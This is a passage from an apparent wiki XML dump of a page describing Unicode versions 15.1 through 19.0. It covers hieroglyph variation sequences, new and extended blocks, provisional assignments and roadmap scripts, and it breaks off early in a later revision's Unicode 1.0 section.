|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>7ialtctlj4drvqhmsghbj9io8r8xplf</sha1>
    </revision>
    <revision>
      <id>4670502</id>
      <parentid>4670501</parentid>
      <timestamp>2026-09-16T19:38:19Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Extended blocks */ missed this</comment>
      <origin>4670502</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="130391" sha1="sn9v1bskhes5ojx1qu0a9wpkcxc83ko" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
